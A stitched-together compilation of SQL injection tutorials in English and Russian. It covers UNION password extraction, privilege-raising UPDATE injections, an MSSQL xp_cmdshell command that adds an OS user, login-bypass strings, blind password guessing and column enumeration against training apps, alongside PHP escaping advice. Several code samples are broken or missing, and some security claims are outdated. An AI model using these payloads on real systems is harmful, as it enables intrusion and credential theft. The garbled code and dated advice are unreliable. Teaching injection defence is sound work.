Sql и php инъекции. Что такое SQL инъекции? Более серьезные способы


Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build an SQL query. The following examples are based on true stories, unfortunately.

Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.

Example #1 Splitting the result set into pages ... and making superusers (PostgreSQL)

$offset = $argv [ 0 ]; // beware, no input validation!
$query = $offset ;" ;
$result = pg_query ($conn , $query );

?>

Normal users click on the "next", "prev" links where the $offset is encoded into the URL . The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode() "d form of the following to the URL If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.

It is common technique to force the SQL parser to ignore the rest of the query written by the developer with -- which is the comment sign in SQL.

A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.

The static part of the query can be combined with another SELECT statement which reveals all passwords:

" union select "1", concat(uname||"-"||passwd) as name, "1971-01-01", "0" from usertable; --

If this query (playing with the " and -- ) were assigned to one of the variables used in $query , the query beast awakened.

SQL UPDATE"s are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.

But a malicious user sumbits the value " or uid like"%admin% to $uid to change the admin"s password, or simply sets $pwd to hehehe", trusted=100, admin="yes to gain more privileges. Then, the query will be twisted:

// $uid: " or uid like "%admin%
$query = "UPDATE usertable SET pwd="..." WHERE uid="" or uid like "%admin%";" ;

// $pwd: hehehe", trusted=100, admin="yes
$query = "UPDATE usertable SET pwd="hehehe", trusted=100, admin="yes" WHERE
...;"
;

?>

A frightening example how operating system level commands can be accessed on some database hosts.

If attacker submits the value a%" exec master..xp_cmdshell "net user test testpass /ADD" -- to $prod , then the $query will be: MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

Example #5 A more secure way to compose a query for paging

settype ($offset , "integer" );
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset ;" ;

// please note %d in the format string, using %s would be meaningless
$query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;" ,
$offset );

?>

  • If the database layer doesn"t support binding variables then quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (e.g. mysql_real_escape_string() , sqlite_escape_string() , etc.). Generic functions like addslashes() are useful only in a very specific environment (e.g. MySQL in a single-byte character set with disabled NO_BACKSLASH_ESCAPES) so it is better to avoid them.
  • Do not print out any database specific information, especially about the schema, by fair means or foul. See also Error Reporting and Error Handling and Logging Functions .
  • You may use stored procedures and previously defined cursors to abstract data access so that users do not directly access tables or views, but this solution has another impacts.
  • Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.

    SQL инъекция - это один из самых доступных способов взлома сайта.
    Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.

    Как вычислить уязвимость, позволяющую внедрять SQL инъекции?

    Довольно легко. Например, есть тестовый сайт test.ru . На сайте выводится список новостей, с возможностью детального просомтра. Адрес страницы с детальным описанием новости выглядит так: test.ru/?detail=1 . Т.е через GET запрос переменная detail передаёт значение 1 (которое является идентификатором записи в табице новостей).

    Изменяем GET запрос на?detail=1" или?detail=1" . Далее пробуем передавать эти запросы серверу, т.е заходим на test.ru/?detail=1 " или на test.ru/?detail=1 ".

    Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.

    Пример ошибки, возникающей при проверке уязвимости

    Возможные SQL инъекции (SQL внедрения)
    1) Наиболее простые - сворачивание условия WHERE к истиностному результату при любых значениях параметров.
    2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
    3) Закомментирование части запроса.

    Практика. Варианты взлома сайта с уязвимостью на SQL внедрения

    Итак, у нас есть уже упоминавшийся сайт test.ru . В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).

    Список новостей, разрешённых к публикации

    При обращении к странице test.ru/?detail=4 , которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
    В нашем случае новость существует, но она запрещена к публикации.

    Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
    В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь

    Тестирую следующие варианты:
    test.ru/?detail=4+OR+1
    test.ru/?detail=4+--
    test.ru/?detail=4+UNION+SELECT+ *+FROM+news+WHERE+id=4

    В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости

    Разбор примера изнутри

    За получение детального описания новости отвечает блок кода:
    $detail_id=$_GET["detail"];
    $zapros="SELECT * FROM `$table_news` WHERE `public`="1" AND `id`=$detail_id ORDER BY `position` DESC";

    Мало того, что $detail_id получает значение без какой либо обработки, так ещё и конструкция `id`=$detail_id написана криво, лучше придерживаться `id`="$detail_id" (т.е сравниваемое значение писать в прямых апострофах).

    Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1

    SELECT * FROM `news` WHERE `public`="1" AND `id`=4 OR 1 ORDER BY `position` DESC

    Становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.

    Разбираем запрос, сформированный при обращении через test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4 .

    Тут название таблицы с новостями (в нашем случае это news) бралось логическим перебором.
    Итак, выполнился запрос SELECT * FROM `news` WHERE `public`="1" AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC . К нулевому результату первой части запроса (до UNION) присоединился результат второй части (после UNION), вернувшей детальное описание 4-ой новости.

    Защита от SQL инъекций (SQL внедрений)

    Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.
    Числа
    Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n - число, и false в противном случае.
    Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET["id_news"] в значение целочисленного типа (в целое число):
    $id=(int)$_GET["id_news"];
    Строки
    Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем (\) перед каждым специальным символом. Данный процесс называется экранизацией.

    $a="пример текста с апострофом " ";
    echo addslashes($a); //будет выведено: пример текста с апострофом \"

    Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
    Это mysql_escape_string($str); и mysql_real_escape_string($str);.

    Первая не учитывает кодировку соединения с БД и может быть обойдена, а вот вторая её учитывает и абсолютно безопасна. mysql_real_escape_string($str); возвращает строку $str с добавленным обратным слешем к следующим символам: \x00, \n, \r, \, ", " и \x1a .

    Магические кавычки

    Магические кавычки – эффект автоматической замены кавычки на обратный слэш (\) и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).

    Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).

    Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).

    В закючении привожу код с полной экранизацией строк для записи в БД

    If(get_magic_quotes_gpc()==1)
    {
    $element_title=stripslashes(trim($_POST["element_title"]));
    $element_text=stripslashes(trim($_POST["element_text"]));
    $element_date=stripslashes(trim($_POST["element_date"]));
    }
    else
    {
    $element_title=trim($_POST["element_title"]);
    $element_text=trim($_POST["element_text"]);
    $element_date=trim($_POST["element_date"]);
    }

    $element_title=mysql_real_escape_string($element_title);
    $element_text=mysql_real_escape_string($element_text);
    $element_date=mysql_real_escape_string($element_date);

    Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.

    SQL инъекция — это атака, которая задействует динамические операторы SQL , вынося в комментарии определенные части инструкций или добавляя условие, которое всегда будет истинным. Она нацелена на дыры в архитектуре веб-приложений и использует операторы SQL для выполнения вредоносного SQL-кода :

    В этой статье мы рассмотрим методы, используемые при SQL-инъекциях и способы защиты веб-приложений от таких атак.

    Как работает SQL-инъекциях

    Типы атак, которые могут быть выполнены с использованием SQL-инъекции , различаются по типу поражаемых механизмов базы данных. Атака нацеливается на динамические операторы SQL . Динамический оператор — это оператор, который создается во время выполнения на основе параметров из веб-формы или строки запроса URI .

    Рассмотрим простое веб-приложение с формой входа. Код HTML-формы приведен ниже:

    • Форма принимает адрес электронной почты, а затем пароль отправляется в файл PHP с именем index.php ;
    • Сессия хранится в файле cookie . Эта возможность активируется при установке флажка remember_me . Для отправки данных используется метод post . Это означает, что значения не отображаются в URL-адресе .

    Предположим, что запрос для проверки идентификатора пользователя на стороне сервера выглядит следующим образом:

    • Запрос использует значения массива $ _POST напрямую, не санируя его;
    • Пароль шифруется с использованием алгоритма MD5 .

    Мы рассмотрим атаку с использованием SQL инъекции sqlfiddle . Откройте в браузере URL-адрес http://sqlfiddle.com/ . На экране появится следующее окно.

    Примечание : вам нужно будет написать инструкции SQL :


    Шаг 1. Введите этот код в левую панель:

    CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ("[email protected]",md5("abc"));

    Шаг 2. Нажмите кнопку «Build Schema ».
    Шаг 3. Введите приведенный ниже код в правой панели:

    select * from users;

    Шаг 4. Нажмите «Run SQL ». Вы увидите следующий результат:

    Предположим, что пользователь предоставляет адрес электронной почты [email protected] и 1234 в качестве пароля. Запрос, который должен быть выполнен в базе данных, может выглядеть следующим образом:

    Приведенный выше код SQL инъекции примера может быть обойден путем выведения в комментарии части пароля и добавления условия, которое всегда будет истинным. Предположим, что злоумышленник подставляет следующие данные в поле адреса электронной почты:

    [email protected]" OR 1 = 1 LIMIT 1 -- " ]

    и xxx в поле пароля.

    Сгенерированный динамический оператор будет выглядеть следующим образом:

    • [email protected] заканчивается одной кавычкой, которая завершает строку;
    • OR 1 = 1 LIMIT 1 — это условие, которое всегда будет истинным, оно ограничивает возвращаемые результаты только одной записью.

    0; ‘ AND … — это комментарий SQL , который исключает часть пароля.

    Скопируйте приведенный выше запрос и вставьте его в текстовое поле SQL FiddleRun SQL , как показано ниже:


    Хакерская активность: SQL-инъекции в веб-приложения

    У нас есть простое веб-приложение, доступное по адресу http://www.techpanda.org/ , которое специально сделано уязвимым для атак с использованием SQL инъекций для новичков в демонстрационных целях. Код HTML-формы , приведенный выше, взят со страницы авторизации данного приложения.

    Оно обеспечивает базовую безопасность, такую как санация поля электронной почты. Это означает, что приведенный выше код не может использоваться для обхода данного механизма.

    Чтобы обойти его, можно использовать поле пароля. На приведенной ниже диаграмме показаны шаги, которые нужно выполнить:


    Предположим, что злоумышленник предоставляет следующие данные:

    Шаг 1 : Вводит [email protected] в качестве адреса электронной почты;
    Шаг 2 : Вводит xxx’) OR 1 = 1 — ] ;


    Нажимает кнопку «Отправить ».

    Он будет направлен в панель администрирования. Сгенерированный запрос будет выглядеть следующим образом:

    На приведенной ниже диаграмме показано, как запрос был сгенерирован:


    • В запросе предполагается, что используется шифрование md5 ;
    • Используется закрывающаяся одиночная кавычка и скобка;
    • К оператору добавляется условие, которое всегда будет истинным.

    Как правило, злоумышленники для достижения своих целей пытаются применить в атаке с использованием SQL инъекций несколько различных методов.

    Другие типы атак с использованием SQL-инъекций

    SQL-инъекции могут нанести гораздо больший ущерб, чем вход в систему в обход механизма авторизации. Некоторые из таких атак могут:

    • Выполнить удаление данных;
    • Выполнить обновление данных;
    • Выполнить добавление данных;
    • Выполнить на сервере команды, которые будут загружать и устанавливать вредоносные программы;
    • Выполнить экспорт на удаленный сервер злоумышленника ценных данных, таких как реквизиты кредитной карты, электронная почта и пароли.

    Приведенный выше список не является полным. Он просто дает представление о том, какую опасность представляют SQL-инъекции .

    Инструменты для автоматизации SQL-инъекций

    В приведенном выше примере мы использовали методы ручной атаки. Перед тем, как сделать SQL инъекцию , нужно понимать, что существуют автоматизированные инструменты, которые позволяют выполнять атаки эффективнее и быстрее:

    • SQLSmack ;
    • SQLPing 2 ;
    • SQLMap .

    Как предотвратить SQL-инъекции

    Вот несколько простых правил, которые позволят защититься от атак с использованием SQL-инъекций :

    Ввод пользовательских данных не должен быть доверенным . Его всегда нужно санировать, прежде чем данные будут использоваться в динамических операциях SQL.

    Хранимые процедуры — они могут инкапсулировать SQL-запросы и обрабатывать все входные данные в качестве параметров.

    Подготовленные запросы — сначала создаются запросы, а затем все предоставленные пользовательские данные обрабатываются в качестве параметров. Это не влияет на синтаксис инструкции SQL .

    Регулярные выражения — могут быть использованы для обнаружения потенциально вредоносного кода и его удаления перед выполнением операторов SQL .

    Права доступа на подключение к базе данных – чтобы защититься от SQL инъекций , учетным записям, которые используются для подключения к базе данных, должны предоставляться только необходимые права доступа. Это поможет ограничить действия, которые SQL-операторы могут выполнять на сервере.

    Сообщения об ошибках — не должны раскрывать конфиденциальную информацию. Простые пользовательские сообщения об ошибках, такие как «Извините, возникла техническая ошибка. Служба поддержки уже уведомлена о ней. Повторите попытку позже », можно использовать вместо отображения запросов SQL , вызвавших ошибку.

    Хакерская активность: использование для SQL-инъекций Havij

    В этом практическом сценарии мы собираемся использовать программу Havij Advanced SQL Injection для сканирования уязвимостей сайта.

    Примечание . Ваша антивирусная программа может реагировать на эту программу в силу ее природы. Поэтому необходимо добавить ее в список исключений или приостановить работу антивирусного программного обеспечения:


    Упомянутый выше инструмент можно использовать для оценки уязвимости / приложения.

    SQL-инъекции — встраивание вредоносного кода в запросы к базе данных — наиболее опасный вид атак. С использованием SQL-инъекций злоумышленник может не только получить закрытую информацию из базы данных, но и, при определенных условиях, внести туда изменения.

    Уязвимость по отношению к SQL-инъекциям возникает из-за того, что пользовательская информация попадает в запрос к базе данных без должной обработке: чтобы скрипт не был уязвим, требуется убедиться, что все пользовательские данные попадают во все запросы к базе данных в экранированном виде. Требование всеобщности и является краеугольным камнем: допущенное в одном скрипте нарушение делает уязвимой всю систему.

    Пример уязвимости

    Предположим, имеется скрипт, отображающий список пользователей из данного города, принимающий в качестве GET-параметра id города. Обращение к скрипту будет происходить с помощью HTTP по адресу /users.php?cityid=20

    В скрипте выше разработчик вставляет GET-параметр в SQL-запрос, подразумевая, что в GET-параметре всегда будет число. Злоумышленник может передать в качестве параметра строку и тем самым повредить запрос. Например, он обратится к скрипту как /users.php?cityid=20; DELETE * FROM users
    SQL-запрос получится таким:

    Запрос выполнится, и скрипт выдаст не только пользователей из заданного города, но и список всех пользователей, у которых вместо реального имени отобразится пароль.

    Как защититься?

    Давайте заключим пользователькую информацию в одинарные кавычки. Поможет ли это?

    Из примера выше видно, что заключить в одиночные кавычки недостаточно. Необходимо также экранировать все кавычки, содержащиеся в строке. Для этого в PHP предусмотрена функция mysql_real_escape_string(), которая добавляет обратный слеш перед каждой кавычкой, обратной кавычкой и некоторыми другим спецсимволами. Рассмотрим код:

    Итак, чтобы защититься от SQL-инъекций, все внешние параметры, которые могут содержать текст, должны быть перед включением в SQL-запрос обработаны с помощью mysql_real_escape_string() и заключены в одиночные кавычки.

    Если известно, что параметр должен принимать числовое значение числовым, его можно привести к числовому виду явно с помощью функции intval() или floatval() . В данном примере мы могли бы использовать:

    $sql = "SELECT username, realname
    FROM users
    WHERE cityid=""
    .intval ( $_GET [ "cityid" ]) .""" ;

    Отличия mysql_real_escape_string() и mysql_escape_string()

    mysql_real_escape_string() является усовершенствованной версией функции mysql_escape_string(), широко применяемой для формирования безопасных запросов к БД MySQL. Отличия этих двух функций в том, что mysql_real_escape_string() правильно работает с многобайтовыми кодировками.

    Предположим, в обрабатываемых данных есть символ (скажем, в UTF-8), код которого состоит из двух байт — шестнадцатеричных 27 и 2B (десятичные 39 и 43 соответственно). mysql_escape_string() воспринимает каждый байт передаваемых ей данных как отдельный символ (точнее, как код отдельного символа) и решит, что последовательность байт 27 и 2B — это два разных символа: одинарная кавычка (") и плюс (+). Поскольку функция воспринимает кавычку как специальный символ, перед байтом с кодом 27, который на самом деле является частью какого-то безобидного символа, будет добавлен слэш (\). В результате данные отправятся в базу в искаженном виде.

    Стоит отметить, что mysql_real_escape_string() работает правильно во всех случаях и может полностью заменить mysql_escape_string().

    mysql_real_escape_string() доступна в PHP с версии 4.3.0.

    Дополнительные примеры

    Мы рассмотрели наиболее простой пример, но на практике уязвимый запрос может быть более сложным и не отображать свои результаты пользователю. Далее рассмотрим примеры SQL-инъекций в некоторых более сложных случаях, не претендуя на полноту.

    Инъекция в сложных запросах

    В простейшем примере была возможность встроить код в конец SQL-запроса. На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выполнял другую функцию. Здесь мы рассмотрим простейший пример уязвимого запроса с дополнительным условием.

    В результате условие age<35 не будет влиять на выборку, т.к. оператор OR имеет более низкий приоритет, чем AND, и WHERE из приведённого выше запроса по-другому можно записать в виде WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (напомним, что выражение WHERE 1 истинно всегда). В результате под условие подойдут и те строки, у которых cityid="20", и те, у которых age<35, причем наличие последних не обязательно.

    В случае сложных запросов успешные SQL-иъекции требуют некоторой изобретательности, но можно ожидать, что у злоумышленников она имеется.

    Результаты запроса не отображаются пользователю

    Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. Это может быть, например, вспомогательный запрос:

    $sql = "SELECT count(*)
    FROM users
    WHERE userid=""
    .$_GET [ "userid" ] .""" ;

    Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он возвращает любую отличную от нуля величину — показывается профиль пользователя с соответствующим userid, если же возвращён 0 (то есть, нет пользователей, удовлетворяющих критерию запроса) — сообщение "пользователь не найден".

    В этом случае определение пароля (или другой информации) производится перебором. Взломщик передает в качестве параметра userid строку 2" AND password LIKE "a% . Итоговый запрос:

    SELECT count (*) FROM users WHERE userid= "2" AND password LIKE "a% "

    Взломщик получит "пользователь не найден", если пароль не начинается на букву "a", или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д.

    Выводы

    • Все запросы, использующие внешние данные, требуется защитить от SQL-инъекций. Внешние данные могут быть переданы не только в качестве GET-параметров, но и методом POST, взяты из COOKIE, со сторонних сайтов или из базы данных, в которую пользователь имел возможность занести информацию.
    • Все числовые параметры следует явно преобразовывать в числовой вид с помощью функций intval() и floatval()
    • Все строковые параметры следует экранировать с помощью mysql_real_escape_string() и заключать в кавычки.
    • Если построить SQL-инъекцию сложно, не следует ожидать, что злоумышленник не догадается как это сделать. Особенно это относится к движкам, исходный код которых является публичным.

    Удачи в построении безопасных приложений!

    SQL-инъекция для новичков

    SQL-инъекция - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

    Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

    В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

    SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" AND password ="111"

    Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

    Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = "Demo") и (AND) значение поля password равно величине 111 (password ="111").

    Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = "Demo" AND password ="111" является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

    При этом значения «Demo» и «111» приложение получает от пользователя - например, в форме входа на сайт.

    Предположим, что вместо Demo пользователь ввёл такую строку:

    Demo" --

    Тогда запрос к базе данных будет иметь вид:

    SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- " AND password ="111"

    Две чёрточки () - означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть " AND password ="111"

    Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

    SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo"

    В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

    Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

    Эксплуатации SQL-инъекции

    Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

    • Балансировка
    • Внедрение
    • Комментирование

    Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

    Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

    Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

    Комментарии в MySQL начинаются с символов:

    Т.е. вместо

    Demo" --

    можно было бы ввести

    Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

    Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

    Demo" OR 1 --

    то получится запрос

    SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1 -- " AND password ="111"

    Уберём закомментированную часть:

    SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1

    Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

    В нашем примере после введённого значения Demo мы ставили одинарную кавычку ("), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

    Для запросов с цифрой:

    SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

    Для запросов со строкой:

    SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

    В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

    SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

    то имя пользователя

    не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

    Для такого запроса (используются одинарные кавычки и круглые скобки):

    SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")

    нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

    Demo") #

    Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

    Стиль ошибок MySQL:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\"" at line 1

    Ошибка в MSSQL ASPX:

    Server Error in "/" Application

    Ошибка в MSAccess (Apache PHP):

    Fatal error: Uncaught exception "com_exception" with message Source: Microsoft JET Database Engine

    Ошибка в MSAccesss (IIS ASP):

    Microsoft JET Database Engine error "80040e14"

    Ошибка в Oracle:

    ORA-00933: SQL command not properly ended

    Ошибка в ODBC:

    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

    Ошибка в PostgreSQL:

    PSQLException: ERROR: unterminated quoted string at or near """ Position: 1 или Query failed: ERROR: syntax error at or near """ at character 56 in /www/site/test.php on line 121.

    Ошибка в MS SQL Server:

    Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string

    Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

    Практический пример простой SQL-инъекции

    Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

    Выбираем баг «SQL Injection (GET/Search) »/

    От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

    Iron Man"

    Результат

    Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1

    Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

    Iron Man"

    Результат

    Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

    Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

    Iron Man" OR 1 #

    Результат:

    Определение количества столбцов таблицы с помощью ORDER BY

    Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

    ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

    Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

    Iron Man" AND 0 ORDER BY 1 # Iron Man" AND 0 ORDER BY 2 # Iron Man" AND 0 ORDER BY 3 # ……………………… ……………………… ……………………… Iron Man" AND 0 ORDER BY 7 #

    Iron Man" AND 0 ORDER BY 8 #

    получен следующий результат:

    Error: Unknown column "8" in "order clause"

    Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

    Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

    Iron Man" AND 0 UNION SELECT 1 # Iron Man" AND 0 UNION SELECT 1,2 # ……………………… ……………………… ……………………… Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

    Все они будут вызывать одну и туже ошибку:

    Ошибка: The used SELECT statements have a different number of columns

    Делайте так пока не исчезнет сообщение об ошибке.

    Объединение запросов с UNION SELECT

    UNION позволяет объединять результаты в один от нескольких выражений SELECT .

    Конструируем наш запрос с UNION :

    Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

    Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL - тогда вместо поля ничего не будет выведено.

    Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

    Что писать в SELECT

    Есть некоторые функции и переменные, которые можно писать непосредственно в UNION :

    Переменная / Функция Вывод
    @@hostname Текущее имя хоста
    @@tmpdir Директория для временных файлов
    @@datadir Директория с базами данных
    @@version Версия БД
    @@basedir Базовая директория
    user() Текущий пользователь
    database() Текущая база данных
    version() Версия
    schema() Текущая база данных
    UUID() Ключ системного UUID
    current_user() Текущий пользователь
    current_user Текущий пользователь
    system_user() Текущий системный пользователь
    session_user() Сессионный пользователь
    @@GLOBAL.have_symlink Проверка, включены или отключены симлинки
    @@GLOBAL.have_ssl Проверка, имеется SSL или нет

    Ввод для получения имени базы данных:

    Iron Man" AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

    База данных INFORMATION_SCHEMA

